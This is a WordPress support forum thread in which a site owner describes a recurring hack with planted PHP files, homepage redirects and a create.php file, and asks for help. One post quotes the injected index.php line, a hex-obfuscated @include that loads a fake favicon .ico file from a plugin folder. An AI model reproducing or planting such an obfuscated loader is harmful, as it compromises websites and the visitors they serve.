Website Hacked

  • nadeoo

    (@nadeoo)


    8 years, 7 months ago

    Hi everyon !

    My website have been hacked by “something”, god knows what it is.
    I cannot find anything on the web.

    It puts somes php files everywere, and it redirect the homepage toward some suspicous webpage.

    I almost solve the problem. The website works.
    But from time to time, it partialy comes back, putting a create.php file in the root folder of the website.

    This file contain some strange lines, apparently including some external data…i guess..

    Anyone encountered this before ? Any way to get rid of it for good?

    Thank you guys !

Viewing 4 replies - 1 through 4 (of 4 total)
  • Jacob Peattie

    (@jakept)

    8 years, 7 months ago

    Remain calm and carefully follow this guide. When you’re done, you may want to implement some (if not all) of the recommended security measures.

    Thread Starter nadeoo

    (@nadeoo)

    8 years, 7 months ago

    Thank you !
    No worry i will remain perfectly calm 😉

    I just scanned my website with the tools listed, no malware…
    But as i said i am pretty sure it will come back …

    I will check all the documentation and try to take some measures.

    But i would reaaly like to understand how it happens …

    I think it is quite distinctive with this create.php file, i guess some people had the same thing.

    Thanks again. If someone knows about this i will be happy to hear about it !

    Thread Starter nadeoo

    (@nadeoo)

    8 years, 7 months ago

    Please someone can help me, it came back !
    It is really easy to get rid of, but very problematic SEO wise …

    If it can help it put this in the index.php of the website :
    @include “\x2fh\x6fm\x65/\x63r\x65w\x6be\x72z\x2fw\x77w\x2fw\x70-\x63o\x6et\x65n\x74/\x70l\x75g\x69n\x73/\x72e\x6fr\x64e\x72-\x65n\x74r\x79-\x69m\x61g\x65s\x2ff\x61v\x69c\x6fn\x5f7\x637\x621\x63.\x69c\x6f”;

    Thanks !

    Thread Starter nadeoo

    (@nadeoo)

    8 years, 7 months ago

    Hello, me again !

    I am trying to follow the process to solve the problem, but till now every thing indicates that the website is fine.

    I have checked the data base, used online tools, Wordfence Security plugin everything says that the website is clean … So it is hard to solve an issue that does not exist. Some insights would be very helpful.

Viewing 4 replies - 1 through 4 (of 4 total)

The topic ‘Website Hacked’ is closed to new replies.